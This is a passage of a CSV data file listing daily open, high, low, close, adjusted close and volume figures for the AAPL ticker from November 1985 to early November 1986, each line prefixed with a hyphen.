-1985-11-21,0.3392857015132904,0.34375,0.3392857015132904,0.3392857015132904,0.2688296437263489,25737600.0,AAPL
-1985-11-22,0.3392857015132904,0.34375,0.3370535671710968,0.3392857015132904,0.2688296437263489,32188800.0,AAPL
-1985-11-25,0.3392857015132904,0.34375,0.3392857015132904,0.3415178656578064,0.2705981433391571,24298400.0,AAPL
-1985-11-26,0.3415178656578064,0.3482142984867096,0.3392857015132904,0.3459821343421936,0.27413538098335266,41115200.0,AAPL
-1985-11-27,0.3459821343421936,0.359375,0.34375,0.3571428656578064,0.2829784154891968,47930400.0,AAPL
-1985-11-29,0.3571428656578064,0.359375,0.3549107015132904,0.359375,0.2847471237182617,24757600.0,AAPL
-1985-12-02,0.359375,0.3616071343421936,0.3571428656578064,0.3616071343421936,0.28651583194732666,25048800.0,AAPL
-1985-12-03,0.3616071343421936,0.3638392984867096,0.3571428656578064,0.359375,0.2847471237182617,38768800.0,AAPL
-1985-12-04,0.359375,0.3683035671710968,0.359375,0.3660714328289032,0.2900528609752655,41277600.0,AAPL
-1985-12-05,0.3660714328289032,0.3705357015132904,0.3571428656578064,0.359375,0.2847471237182617,31287200.0,AAPL
-1985-12-06,0.359375,0.359375,0.3504464328289032,0.3526785671710968,0.2794412672519684,16363200.0,AAPL
-1985-12-09,0.3526785671710968,0.3571428656578064,0.34375,0.3459821343421936,0.27413538098335266,34966400.0,AAPL
-1985-12-10,0.3459821343421936,0.3504464328289032,0.34375,0.3482142984867096,0.2759040594100952,50226400.0,AAPL
-1985-12-11,0.3482142984867096,0.359375,0.3482142984867096,0.3526785671710968,0.2794412672519684,59404800.0,AAPL
-1985-12-12,0.3549107015132904,0.3616071343421936,0.3549107015132904,0.3571428656578064,0.2829784154891968,31315200.0,AAPL
-1985-12-13,0.3571428656578064,0.3616071343421936,0.3526785671710968,0.3571428656578064,0.2829784154891968,62787200.0,AAPL
-1985-12-16,0.3571428656578064,0.3794642984867096,0.3571428656578064,0.3727678656578064,0.2953588366508484,72228800.0,AAPL
-1985-12-17,0.3727678656578064,0.375,0.3638392984867096,0.3683035671710968,0.2918216288089752,27266400.0,AAPL
-1985-12-18,0.3816964328289032,0.4084821343421936,0.3816964328289032,0.3973214328289032,0.31481367349624634,139949600.0,AAPL
-1985-12-19,0.3973214328289032,0.40625,0.3950892984867096,0.4017857015132904,0.3183508515357971,67530400.0,AAPL
-1985-12-20,0.4017857015132904,0.40625,0.3973214328289032,0.3995535671710968,0.31658217310905457,51508800.0,AAPL
-1985-12-23,0.3995535671710968,0.4017857015132904,0.3861607015132904,0.390625,0.30950769782066345,35806400.0,AAPL
-1985-12-24,0.390625,0.3928571343421936,0.3861607015132904,0.3883928656578064,0.3077392578125,16150400.0,AAPL
-1985-12-26,0.3883928656578064,0.3928571343421936,0.3861607015132904,0.3883928656578064,0.3077392578125,11463200.0,AAPL
-1985-12-27,0.3883928656578064,0.4040178656578064,0.3883928656578064,0.3995535671710968,0.31658217310905457,30721600.0,AAPL
-1985-12-30,0.3995535671710968,0.4040178656578064,0.3950892984867096,0.3973214328289032,0.31481367349624634,26919200.0,AAPL
-1985-12-31,0.3973214328289032,0.3995535671710968,0.3928571343421936,0.3928571343421936,0.31127646565437317,21812000.0,AAPL
-1986-01-02,0.3928571343421936,0.3973214328289032,0.3883928656578064,0.3973214328289032,0.31481367349624634,29355200.0,AAPL
-1986-01-03,0.3973214328289032,0.3995535671710968,0.3950892984867096,0.3995535671710968,0.31658217310905457,60541600.0,AAPL
-1986-01-06,0.3995535671710968,0.3995535671710968,0.390625,0.3973214328289032,0.31481367349624634,46261600.0,AAPL
-1986-01-07,0.3973214328289032,0.4107142984867096,0.3950892984867096,0.4107142984867096,0.3254252076148987,117633600.0,AAPL
-1986-01-08,0.4107142984867096,0.4196428656578064,0.40625,0.4084821343421936,0.3236565887928009,151900000.0,AAPL
-1986-01-09,0.4084821343421936,0.4107142984867096,0.390625,0.4040178656578064,0.32011938095092773,111809600.0,AAPL
-1986-01-10,0.4040178656578064,0.4129464328289032,0.4040178656578064,0.40625,0.32188811898231506,38309600.0,AAPL
-1986-01-13,0.40625,0.4129464328289032,0.4017857015132904,0.4107142984867096,0.3254252076148987,53855200.0,AAPL
-1986-01-14,0.4107142984867096,0.4241071343421936,0.4017857015132904,0.4151785671710968,0.32896244525909424,68174400.0,AAPL
-1986-01-15,0.4151785671710968,0.4285714328289032,0.4129464328289032,0.4263392984867096,0.33780547976493835,105868000.0,AAPL
-1986-01-16,0.4263392984867096,0.4419642984867096,0.4263392984867096,0.4375,0.3466486632823944,133694400.0,AAPL
-1986-01-17,0.4375,0.4419642984867096,0.4263392984867096,0.4285714328289032,0.3395741581916809,86346400.0,AAPL
-1986-01-20,0.4285714328289032,0.4285714328289032,0.4174107015132904,0.4263392984867096,0.33780547976493835,31852800.0,AAPL
-1986-01-21,0.4263392984867096,0.4308035671710968,0.4241071343421936,0.4285714328289032,0.3395741581916809,37990400.0,AAPL
-1986-01-22,0.4285714328289032,0.4308035671710968,0.3995535671710968,0.4174107015132904,0.33073103427886963,35750400.0,AAPL
-1986-01-23,0.4174107015132904,0.4196428656578064,0.40625,0.4107142984867096,0.3254252076148987,39104800.0,AAPL
-1986-01-24,0.4107142984867096,0.4174107015132904,0.4040178656578064,0.4040178656578064,0.32011938095092773,27994400.0,AAPL
-1986-01-27,0.4040178656578064,0.40625,0.3928571343421936,0.3950892984867096,0.3130449652671814,97395200.0,AAPL
-1986-01-28,0.3950892984867096,0.3995535671710968,0.3928571343421936,0.3973214328289032,0.31481367349624634,55574400.0,AAPL
-1986-01-29,0.3973214328289032,0.4352678656578064,0.3928571343421936,0.421875,0.3342682719230652,147392000.0,AAPL
-1986-01-30,0.4196428656578064,0.4196428656578064,0.4084821343421936,0.4107142984867096,0.3254252076148987,59220000.0,AAPL
-1986-01-31,0.4107142984867096,0.4151785671710968,0.4084821343421936,0.4129464328289032,0.32719382643699646,36926400.0,AAPL
-1986-02-03,0.4129464328289032,0.4285714328289032,0.4084821343421936,0.4263392984867096,0.33780547976493835,87505600.0,AAPL
-1986-02-04,0.4263392984867096,0.4352678656578064,0.4241071343421936,0.4241071343421936,0.3360368311405182,65044000.0,AAPL
-1986-02-05,0.4241071343421936,0.4263392984867096,0.4196428656578064,0.4241071343421936,0.3360368311405182,49291200.0,AAPL
-1986-02-06,0.4241071343421936,0.4330357015132904,0.421875,0.4308035671710968,0.3413427472114563,33555200.0,AAPL
-1986-02-07,0.4308035671710968,0.4308035671710968,0.4196428656578064,0.4285714328289032,0.3395741581916809,32351200.0,AAPL
-1986-02-10,0.4285714328289032,0.4375,0.4241071343421936,0.4263392984867096,0.33780547976493835,27960800.0,AAPL
-1986-02-11,0.4263392984867096,0.4285714328289032,0.4196428656578064,0.4263392984867096,0.33780547976493835,38365600.0,AAPL
-1986-02-12,0.4263392984867096,0.4285714328289032,0.4241071343421936,0.4285714328289032,0.3395741581916809,33264000.0,AAPL
-1986-02-13,0.4285714328289032,0.4285714328289032,0.4241071343421936,0.4263392984867096,0.33780547976493835,27344800.0,AAPL
-1986-02-14,0.4263392984867096,0.4308035671710968,0.4241071343421936,0.4241071343421936,0.3360368311405182,34378400.0,AAPL
-1986-02-18,0.4241071343421936,0.4285714328289032,0.4151785671710968,0.4263392984867096,0.33780547976493835,37027200.0,AAPL
-1986-02-19,0.4263392984867096,0.4553571343421936,0.4263392984867096,0.4464285671710968,0.35372301936149597,89919200.0,AAPL
-1986-02-20,0.4464285671710968,0.453125,0.4441964328289032,0.4486607015132904,0.3554917573928833,34479200.0,AAPL
-1986-02-21,0.4486607015132904,0.4598214328289032,0.4486607015132904,0.4508928656578064,0.3572602868080139,47269600.0,AAPL
-1986-02-24,0.4508928656578064,0.4598214328289032,0.4464285671710968,0.4598214328289032,0.36433476209640503,61779200.0,AAPL
-1986-02-25,0.4598214328289032,0.4709821343421936,0.4486607015132904,0.4709821343421936,0.37317776679992676,56184800.0,AAPL
-1986-02-26,0.4709821343421936,0.4776785671710968,0.4642857015132904,0.4642857015132904,0.3678719997406006,41182400.0,AAPL
-1986-02-27,0.4642857015132904,0.4665178656578064,0.4553571343421936,0.4575892984867096,0.3625660538673401,27031200.0,AAPL
-1986-02-28,0.4575892984867096,0.4620535671710968,0.4441964328289032,0.4464285671710968,0.35372301936149597,31281600.0,AAPL
-1986-03-03,0.4464285671710968,0.4486607015132904,0.4375,0.4397321343421936,0.3484172224998474,27204800.0,AAPL
-1986-03-04,0.4397321343421936,0.4464285671710968,0.4375,0.4397321343421936,0.3484172224998474,22276800.0,AAPL
-1986-03-05,0.4397321343421936,0.4553571343421936,0.4330357015132904,0.4508928656578064,0.3572602868080139,44256800.0,AAPL
-1986-03-06,0.4508928656578064,0.4598214328289032,0.4486607015132904,0.453125,0.3590288758277893,25334400.0,AAPL
-1986-03-07,0.453125,0.453125,0.4419642984867096,0.4419642984867096,0.3501858413219452,24046400.0,AAPL
-1986-03-10,0.4419642984867096,0.4441964328289032,0.4397321343421936,0.4397321343421936,0.3484172224998474,18872000.0,AAPL
-1986-03-11,0.4397321343421936,0.4441964328289032,0.4375,0.4441964328289032,0.35195446014404297,25765600.0,AAPL
-1986-03-12,0.4441964328289032,0.4486607015132904,0.4419642984867096,0.4419642984867096,0.3501858413219452,21420000.0,AAPL
-1986-03-13,0.4419642984867096,0.4464285671710968,0.4352678656578064,0.4419642984867096,0.3501858413219452,28991200.0,AAPL
-1986-03-14,0.4419642984867096,0.46875,0.4419642984867096,0.4665178656578064,0.36964061856269836,96213600.0,AAPL
-1986-03-17,0.4642857015132904,0.4642857015132904,0.453125,0.4642857015132904,0.3678719997406006,29680000.0,AAPL
-1986-03-18,0.4642857015132904,0.4866071343421936,0.4620535671710968,0.4799107015132904,0.38025227189064026,62339200.0,AAPL
-1986-03-19,0.4799107015132904,0.4866071343421936,0.4709821343421936,0.4732142984867096,0.3749464452266693,47471200.0,AAPL
-1986-03-20,0.5,0.5290178656578064,0.5,0.5044642686843872,0.3997070789337158,226032800.0,AAPL
-1986-03-21,0.5044642686843872,0.5133928656578064,0.4910714328289032,0.4933035671710968,0.39086395502090454,65094400.0,AAPL
-1986-03-24,0.4933035671710968,0.4933035671710968,0.4709821343421936,0.4776785671710968,0.37848371267318726,73578400.0,AAPL
-1986-03-25,0.4776785671710968,0.4977678656578064,0.4776785671710968,0.4977678656578064,0.3944011628627777,70268800.0,AAPL
-1986-03-26,0.4977678656578064,0.5133928656578064,0.4977678656578064,0.5044642686843872,0.3997070789337158,55535200.0,AAPL
-1986-03-27,0.5044642686843872,0.5178571343421936,0.5044642686843872,0.5044642686843872,0.3997070789337158,54751200.0,AAPL
-1986-03-31,0.5044642686843872,0.5089285969734192,0.5,0.5044642686843872,0.3997070789337158,46950400.0,AAPL
-1986-04-01,0.5044642686843872,0.5044642686843872,0.4821428656578064,0.4866071343421936,0.385558158159256,55680800.0,AAPL
-1986-04-02,0.4866071343421936,0.4888392984867096,0.46875,0.4866071343421936,0.385558158159256,81323200.0,AAPL
-1986-04-03,0.4866071343421936,0.4933035671710968,0.4799107015132904,0.4821428656578064,0.3820209205150604,52768800.0,AAPL
-1986-04-04,0.4821428656578064,0.4821428656578064,0.4754464328289032,0.4776785671710968,0.37848371267318726,31488800.0,AAPL
-1986-04-07,0.4776785671710968,0.4910714328289032,0.46875,0.4866071343421936,0.385558158159256,30032800.0,AAPL
-1986-04-08,0.4866071343421936,0.4955357015132904,0.4866071343421936,0.4933035671710968,0.39086395502090454,48305600.0,AAPL
-1986-04-09,0.4933035671710968,0.4955357015132904,0.4799107015132904,0.484375,0.38378942012786865,33829600.0,AAPL
-1986-04-10,0.484375,0.4888392984867096,0.4799107015132904,0.4866071343421936,0.385558158159256,27496000.0,AAPL
-1986-04-11,0.4866071343421936,0.4910714328289032,0.4821428656578064,0.4821428656578064,0.3820209205150604,18916800.0,AAPL
-1986-04-14,0.4821428656578064,0.4866071343421936,0.4776785671710968,0.4799107015132904,0.38025227189064026,21240800.0,AAPL
-1986-04-15,0.4799107015132904,0.4910714328289032,0.4799107015132904,0.4888392984867096,0.38732683658599854,32849600.0,AAPL
-1986-04-16,0.4888392984867096,0.5089285969734192,0.4888392984867096,0.5044642686843872,0.3997070789337158,52707200.0,AAPL
-1986-04-17,0.5044642686843872,0.5200892686843872,0.5,0.5178571343421936,0.4103188216686249,67524800.0,AAPL
-1986-04-18,0.5178571343421936,0.5334821343421936,0.5133928656578064,0.53125,0.420930415391922,61919200.0,AAPL
-1986-04-21,0.5334821343421936,0.5491071343421936,0.5334821343421936,0.5424107313156128,0.4297737181186676,68387200.0,AAPL
-1986-04-22,0.5424107313156128,0.5580357313156128,0.5290178656578064,0.5334821343421936,0.42269906401634216,81967200.0,AAPL
-1986-04-23,0.5334821343421936,0.5424107313156128,0.5245535969734192,0.5290178656578064,0.4191618859767914,65368800.0,AAPL
-1986-04-24,0.5290178656578064,0.5625,0.5267857313156128,0.5602678656578064,0.4439224600791931,114592800.0,AAPL
-1986-04-25,0.5602678656578064,0.5825892686843872,0.5602678656578064,0.5758928656578064,0.4563027024269104,65268000.0,AAPL
-1986-04-28,0.5758928656578064,0.5848214030265808,0.5669642686843872,0.5714285969734192,0.4527655839920044,36383200.0,AAPL
-1986-04-29,0.5714285969734192,0.5758928656578064,0.4799107015132904,0.5580357313156128,0.4421537220478058,33174400.0,AAPL
-1986-04-30,0.5580357313156128,0.5647321343421936,0.5401785969734192,0.5401785969734192,0.42800483107566833,34445600.0,AAPL
-1986-05-01,0.5401785969734192,0.5401785969734192,0.53125,0.5401785969734192,0.42800483107566833,64484000.0,AAPL
-1986-05-02,0.5401785969734192,0.5535714030265808,0.5379464030265808,0.5446428656578064,0.4315420687198639,23396800.0,AAPL
-1986-05-05,0.5446428656578064,0.5803571343421936,0.5446428656578064,0.5736607313156128,0.4545341432094574,37335200.0,AAPL
-1986-05-06,0.5758928656578064,0.59375,0.5758928656578064,0.5825892686843872,0.4616087079048157,54633600.0,AAPL
-1986-05-07,0.5825892686843872,0.5870535969734192,0.5580357313156128,0.5625,0.4456910490989685,49700000.0,AAPL
-1986-05-08,0.5625,0.5915178656578064,0.5625,0.5892857313156128,0.4669145345687866,58340800.0,AAPL
-1986-05-09,0.5892857313156128,0.6004464030265808,0.5848214030265808,0.5959821343421936,0.47222021222114563,55624800.0,AAPL
-1986-05-12,0.5959821343421936,0.6540178656578064,0.59375,0.6495535969734192,0.5146671533584595,100105600.0,AAPL
-1986-05-13,0.6495535969734192,0.6517857313156128,0.6294642686843872,0.6428571343421936,0.509361207485199,117941600.0,AAPL
-1986-05-14,0.6428571343421936,0.6674107313156128,0.6428571343421936,0.6584821343421936,0.5217413902282715,120747200.0,AAPL
-1986-05-15,0.6584821343421936,0.6607142686843872,0.6361607313156128,0.6428571343421936,0.509361207485199,55636000.0,AAPL
-1986-05-16,0.6428571343421936,0.6473214030265808,0.6272321343421936,0.6428571343421936,0.509361207485199,79811200.0,AAPL
-1986-05-19,0.6428571343421936,0.6517857313156128,0.6339285969734192,0.6361607313156128,0.504055380821228,52376800.0,AAPL
-1986-05-20,0.6361607313156128,0.6361607313156128,0.6116071343421936,0.6316964030265808,0.5005179643630981,61448800.0,AAPL
-1986-05-21,0.6316964030265808,0.6651785969734192,0.625,0.6607142686843872,0.5235101580619812,86682400.0,AAPL
-1986-05-22,0.6607142686843872,0.6696428656578064,0.6383928656578064,0.65625,0.5199730396270752,55126400.0,AAPL
-1986-05-23,0.65625,0.6629464030265808,0.6495535969734192,0.6607142686843872,0.5235101580619812,34960800.0,AAPL
-1986-05-27,0.6607142686843872,0.6607142686843872,0.6495535969734192,0.6584821343421936,0.5217413902282715,21162400.0,AAPL
-1986-05-28,0.6584821343421936,0.6696428656578064,0.65625,0.6651785969734192,0.5270476341247559,51783200.0,AAPL
-1986-05-29,0.6651785969734192,0.6651785969734192,0.6517857313156128,0.6607142686843872,0.5235101580619812,25356800.0,AAPL
-1986-05-30,0.6607142686843872,0.6651785969734192,0.6517857313156128,0.6607142686843872,0.5235101580619812,31858400.0,AAPL
-1986-06-02,0.6607142686843872,0.6674107313156128,0.65625,0.6629464030265808,0.5252787470817566,49812000.0,AAPL
-1986-06-03,0.6629464030265808,0.6808035969734192,0.6629464030265808,0.6763392686843872,0.5358904004096985,81474400.0,AAPL
-1986-06-04,0.6763392686843872,0.6941964030265808,0.6741071343421936,0.6919642686843872,0.5482707619667053,75163200.0,AAPL
-1986-06-05,0.6919642686843872,0.6986607313156128,0.6875,0.6941964030265808,0.5500392913818359,36971200.0,AAPL
-1986-06-06,0.6941964030265808,0.6941964030265808,0.6696428656578064,0.6741071343421936,0.5341216921806335,44340800.0,AAPL
-1986-06-09,0.6741071343421936,0.6763392686843872,0.640625,0.6428571343421936,0.509361207485199,61756800.0,AAPL
-1986-06-10,0.6428571343421936,0.6428571343421936,0.6272321343421936,0.6428571343421936,0.509361207485199,61723200.0,AAPL
-1986-06-11,0.6428571343421936,0.6473214030265808,0.6339285969734192,0.6450892686843872,0.5111297965049744,46715200.0,AAPL
-1986-06-12,0.6450892686843872,0.6495535969734192,0.6428571343421936,0.6428571343421936,0.509361207485199,32272800.0,AAPL
-1986-06-13,0.6428571343421936,0.6495535969734192,0.6294642686843872,0.6495535969734192,0.5146671533584595,35750400.0,AAPL
-1986-06-16,0.6495535969734192,0.6584821343421936,0.6361607313156128,0.640625,0.5075926780700684,43400000.0,AAPL
-1986-06-17,0.640625,0.6428571343421936,0.6071428656578064,0.6116071343421936,0.4846007823944092,55512800.0,AAPL
-1986-06-18,0.6116071343421936,0.6205357313156128,0.5803571343421936,0.6116071343421936,0.4846007823944092,107413600.0,AAPL
-1986-06-19,0.6116071343421936,0.6383928656578064,0.6049107313156128,0.625,0.49521246552467346,86161600.0,AAPL
-1986-06-20,0.625,0.6450892686843872,0.625,0.6428571343421936,0.509361207485199,40325600.0,AAPL
-1986-06-23,0.6428571343421936,0.6473214030265808,0.6183035969734192,0.6205357313156128,0.4916751980781555,29080800.0,AAPL
-1986-06-24,0.6205357313156128,0.6272321343421936,0.6138392686843872,0.6227678656578064,0.4934438169002533,35498400.0,AAPL
-1986-06-25,0.625,0.6428571343421936,0.625,0.640625,0.5075926780700684,32995200.0,AAPL
-1986-06-26,0.640625,0.6495535969734192,0.6339285969734192,0.6473214030265808,0.5128983855247498,29232000.0,AAPL
-1986-06-27,0.6473214030265808,0.65625,0.6339285969734192,0.640625,0.5075926780700684,12549600.0,AAPL
-1986-06-30,0.640625,0.6473214030265808,0.6383928656578064,0.640625,0.5075926780700684,17690400.0,AAPL
-1986-07-01,0.640625,0.6450892686843872,0.6205357313156128,0.6316964030265808,0.5005179643630981,21929600.0,AAPL
-1986-07-02,0.6316964030265808,0.6473214030265808,0.6316964030265808,0.6450892686843872,0.5111297965049744,36209600.0,AAPL
-1986-07-03,0.6450892686843872,0.6741071343421936,0.6361607313156128,0.671875,0.5323531031608582,45292800.0,AAPL
-1986-07-07,0.671875,0.6741071343421936,0.6316964030265808,0.6361607313156128,0.504055380821228,45455200.0,AAPL
-1986-07-08,0.6294642686843872,0.6294642686843872,0.609375,0.6116071343421936,0.4846007823944092,68420800.0,AAPL
-1986-07-09,0.6116071343421936,0.6205357313156128,0.6071428656578064,0.6183035969734192,0.48990654945373535,91280000.0,AAPL
-1986-07-10,0.6205357313156128,0.6316964030265808,0.6183035969734192,0.6316964030265808,0.5005179643630981,52141600.0,AAPL
-1986-07-11,0.6316964030265808,0.6741071343421936,0.6294642686843872,0.6629464030265808,0.5252787470817566,56000000.0,AAPL
-1986-07-14,0.6629464030265808,0.6674107313156128,0.6473214030265808,0.6473214030265808,0.5128983855247498,59360000.0,AAPL
-1986-07-15,0.625,0.625,0.6116071343421936,0.6227678656578064,0.4934438169002533,74480000.0,AAPL
-1986-07-16,0.6339285969734192,0.6361607313156128,0.5848214030265808,0.5982142686843872,0.4739888608455658,134960000.0,AAPL
-1986-07-17,0.5982142686843872,0.6026785969734192,0.5736607313156128,0.5758928656578064,0.4563027024269104,62720000.0,AAPL
-1986-07-18,0.5758928656578064,0.5803571343421936,0.5580357313156128,0.5669642686843872,0.44922828674316406,77280000.0,AAPL
-1986-07-21,0.5892857313156128,0.6026785969734192,0.5848214030265808,0.5982142686843872,0.4739888608455658,57120000.0,AAPL
-1986-07-22,0.5982142686843872,0.6183035969734192,0.59375,0.6183035969734192,0.48990654945373535,59920000.0,AAPL
-1986-07-23,0.6183035969734192,0.6183035969734192,0.609375,0.609375,0.48283201456069946,44872800.0,AAPL
-1986-07-24,0.6116071343421936,0.6138392686843872,0.5892857313156128,0.5915178656578064,0.4686829745769501,36142400.0,AAPL
-1986-07-25,0.5915178656578064,0.6071428656578064,0.5892857313156128,0.6071428656578064,0.4810633361339569,54364800.0,AAPL
-1986-07-28,0.6049107313156128,0.6071428656578064,0.5758928656578064,0.578125,0.45807135105133057,61600000.0,AAPL
-1986-07-29,0.5758928656578064,0.5758928656578064,0.5491071343421936,0.5580357313156128,0.4421537220478058,148960000.0,AAPL
-1986-07-30,0.5580357313156128,0.5625,0.5357142686843872,0.5446428656578064,0.4315420687198639,63840000.0,AAPL
-1986-07-31,0.5446428656578064,0.5625,0.5446428656578064,0.5580357313156128,0.4421537220478058,70560000.0,AAPL
-1986-08-01,0.5558035969734192,0.5669642686843872,0.5558035969734192,0.5602678656578064,0.4439224600791931,37520000.0,AAPL
-1986-08-04,0.5602678656578064,0.5625,0.546875,0.5625,0.4456910490989685,32541600.0,AAPL
-1986-08-05,0.5647321343421936,0.578125,0.5625,0.5736607313156128,0.4545341432094574,29472800.0,AAPL
-1986-08-06,0.5736607313156128,0.5736607313156128,0.5535714030265808,0.5558035969734192,0.44038525223731995,46300800.0,AAPL
-1986-08-07,0.5558035969734192,0.5825892686843872,0.5558035969734192,0.5669642686843872,0.44922828674316406,43349600.0,AAPL
-1986-08-08,0.5691964030265808,0.578125,0.5647321343421936,0.5647321343421936,0.44745975732803345,27535200.0,AAPL
-1986-08-11,0.5691964030265808,0.5982142686843872,0.5669642686843872,0.5982142686843872,0.4739888608455658,45858400.0,AAPL
-1986-08-12,0.5959821343421936,0.6138392686843872,0.5959821343421936,0.6116071343421936,0.4846007823944092,61040000.0,AAPL
-1986-08-13,0.6116071343421936,0.6473214030265808,0.6116071343421936,0.6428571343421936,0.509361207485199,113680000.0,AAPL
-1986-08-14,0.6428571343421936,0.6607142686843872,0.6428571343421936,0.6428571343421936,0.509361207485199,57680000.0,AAPL
-1986-08-15,0.6450892686843872,0.6517857313156128,0.6361607313156128,0.6383928656578064,0.5058238506317139,34294400.0,AAPL
-1986-08-18,0.6383928656578064,0.640625,0.625,0.6316964030265808,0.5005179643630981,36836800.0,AAPL
-1986-08-19,0.6272321343421936,0.6339285969734192,0.6183035969734192,0.6316964030265808,0.5005179643630981,34445600.0,AAPL
-1986-08-20,0.6294642686843872,0.6517857313156128,0.6294642686843872,0.6473214030265808,0.5128983855247498,42828800.0,AAPL
-1986-08-21,0.6450892686843872,0.6495535969734192,0.6383928656578064,0.6383928656578064,0.5058238506317139,48664000.0,AAPL
-1986-08-22,0.640625,0.6540178656578064,0.640625,0.6473214030265808,0.5128983855247498,28929600.0,AAPL
-1986-08-25,0.6517857313156128,0.6584821343421936,0.6495535969734192,0.6495535969734192,0.5146671533584595,31600800.0,AAPL
-1986-08-26,0.6495535969734192,0.6584821343421936,0.6495535969734192,0.6540178656578064,0.518204391002655,32810400.0,AAPL
-1986-08-27,0.6540178656578064,0.6607142686843872,0.6473214030265808,0.6607142686843872,0.5235101580619812,36758400.0,AAPL
-1986-08-28,0.6607142686843872,0.6785714030265808,0.6584821343421936,0.6741071343421936,0.5341216921806335,54924800.0,AAPL
-1986-08-29,0.671875,0.6785714030265808,0.6584821343421936,0.6607142686843872,0.5235101580619812,33807200.0,AAPL
-1986-09-02,0.6629464030265808,0.6629464030265808,0.6205357313156128,0.6205357313156128,0.4916751980781555,58240000.0,AAPL
-1986-09-03,0.6205357313156128,0.6227678656578064,0.609375,0.6205357313156128,0.4916751980781555,29372000.0,AAPL
-1986-09-04,0.625,0.6339285969734192,0.6205357313156128,0.6339285969734192,0.5022867918014526,49700000.0,AAPL
-1986-09-05,0.6361607313156128,0.640625,0.625,0.6272321343421936,0.4969809353351593,24623200.0,AAPL
-1986-09-08,0.625,0.625,0.6004464030265808,0.6205357313156128,0.4916751980781555,31550400.0,AAPL
-1986-09-09,0.6183035969734192,0.6428571343421936,0.6183035969734192,0.6383928656578064,0.5058238506317139,37693600.0,AAPL
-1986-09-10,0.6361607313156128,0.640625,0.6205357313156128,0.625,0.49521246552467346,18916800.0,AAPL
-1986-09-11,0.6183035969734192,0.6205357313156128,0.5803571343421936,0.5825892686843872,0.4616087079048157,33588800.0,AAPL
-1986-09-12,0.5803571343421936,0.5848214030265808,0.5669642686843872,0.5669642686843872,0.44922828674316406,57120000.0,AAPL
-1986-09-15,0.5758928656578064,0.5915178656578064,0.5714285969734192,0.5915178656578064,0.4686829745769501,55680800.0,AAPL
-1986-09-16,0.5915178656578064,0.6272321343421936,0.5803571343421936,0.6227678656578064,0.4934438169002533,61600000.0,AAPL
-1986-09-17,0.6227678656578064,0.625,0.6116071343421936,0.6116071343421936,0.4846007823944092,29215200.0,AAPL
-1986-09-18,0.6116071343421936,0.6160714030265808,0.6026785969734192,0.6071428656578064,0.4810633361339569,24757600.0,AAPL
-1986-09-19,0.6026785969734192,0.6049107313156128,0.59375,0.6004464030265808,0.47575750946998596,31903200.0,AAPL
-1986-09-22,0.5982142686843872,0.6316964030265808,0.5982142686843872,0.6294642686843872,0.49874943494796753,59920000.0,AAPL
-1986-09-23,0.6294642686843872,0.6473214030265808,0.6272321343421936,0.6450892686843872,0.5111297965049744,84560000.0,AAPL
-1986-09-24,0.6450892686843872,0.6495535969734192,0.6071428656578064,0.6272321343421936,0.4969809353351593,44217600.0,AAPL
-1986-09-25,0.6272321343421936,0.6294642686843872,0.6004464030265808,0.6160714030265808,0.4881376624107361,46950400.0,AAPL
-1986-09-26,0.609375,0.6138392686843872,0.6049107313156128,0.6116071343421936,0.4846007823944092,17505600.0,AAPL
-1986-09-29,0.6004464030265808,0.6049107313156128,0.5647321343421936,0.5803571343421936,0.4598398804664612,52236800.0,AAPL
-1986-09-30,0.5870535969734192,0.6049107313156128,0.5825892686843872,0.5982142686843872,0.4739888608455658,45197600.0,AAPL
-1986-10-01,0.5959821343421936,0.6160714030265808,0.5959821343421936,0.609375,0.48283201456069946,34647200.0,AAPL
-1986-10-02,0.6026785969734192,0.6138392686843872,0.5982142686843872,0.609375,0.48283201456069946,23704800.0,AAPL
-1986-10-03,0.6138392686843872,0.6205357313156128,0.5959821343421936,0.6026785969734192,0.4775262176990509,34686400.0,AAPL
-1986-10-06,0.6026785969734192,0.6116071343421936,0.6004464030265808,0.609375,0.48283201456069946,23626400.0,AAPL
-1986-10-07,0.6071428656578064,0.609375,0.5870535969734192,0.5892857313156128,0.4669145345687866,31998400.0,AAPL
-1986-10-08,0.5870535969734192,0.5892857313156128,0.5758928656578064,0.5848214030265808,0.4633772075176239,27893600.0,AAPL
-1986-10-09,0.5848214030265808,0.59375,0.5825892686843872,0.5892857313156128,0.4669145345687866,19488000.0,AAPL
-1986-10-10,0.5870535969734192,0.5959821343421936,0.578125,0.59375,0.47045162320137024,14632800.0,AAPL
-1986-10-13,0.5915178656578064,0.6183035969734192,0.5892857313156128,0.6183035969734192,0.48990654945373535,24920000.0,AAPL
-1986-10-14,0.6183035969734192,0.6294642686843872,0.6026785969734192,0.6071428656578064,0.4810633361339569,49834400.0,AAPL
-1986-10-15,0.5982142686843872,0.5982142686843872,0.5848214030265808,0.5959821343421936,0.47222021222114563,51352000.0,AAPL
-1986-10-16,0.5959821343421936,0.6049107313156128,0.59375,0.6004464030265808,0.47575750946998596,33941600.0,AAPL
-1986-10-17,0.6026785969734192,0.6071428656578064,0.5959821343421936,0.6004464030265808,0.47575750946998596,37968000.0,AAPL
-1986-10-20,0.5982142686843872,0.6004464030265808,0.5870535969734192,0.5870535969734192,0.46514588594436646,37245600.0,AAPL
-1986-10-21,0.5892857313156128,0.5892857313156128,0.5825892686843872,0.5848214030265808,0.4633772075176239,28431200.0,AAPL
-1986-10-22,0.5848214030265808,0.5870535969734192,0.5758928656578064,0.5803571343421936,0.4598398804664612,23620800.0,AAPL
-1986-10-23,0.5803571343421936,0.5915178656578064,0.5803571343421936,0.5915178656578064,0.4686829745769501,30783200.0,AAPL
-1986-10-24,0.5915178656578064,0.59375,0.5848214030265808,0.5892857313156128,0.4669145345687866,18832800.0,AAPL
-1986-10-27,0.5982142686843872,0.6071428656578064,0.59375,0.6071428656578064,0.4810633361339569,37800000.0,AAPL
-1986-10-28,0.6071428656578064,0.609375,0.5892857313156128,0.5959821343421936,0.47222021222114563,35560000.0,AAPL
-1986-10-29,0.5982142686843872,0.5982142686843872,0.5915178656578064,0.5959821343421936,0.47222021222114563,21358400.0,AAPL
-1986-10-30,0.5982142686843872,0.6205357313156128,0.5959821343421936,0.6116071343421936,0.4846007823944092,73360000.0,AAPL
-1986-10-31,0.6116071343421936,0.6227678656578064,0.6116071343421936,0.6183035969734192,0.48990654945373535,30324000.0,AAPL
-1986-11-03,0.6205357313156128,0.6272321343421936,0.6183035969734192,0.625,0.49521246552467346,37956800.0,AAPL
-1986-11-04,0.6227678656578064,0.640625,0.6049107313156128,0.6383928656578064,0.5058238506317139,61600000.0,AAPL
-1986-11-05,0.6383928656578064,0.6629464030265808,0.6339285969734192,0.6607142686843872,0.5235101580619812,156240000.0,AAPL
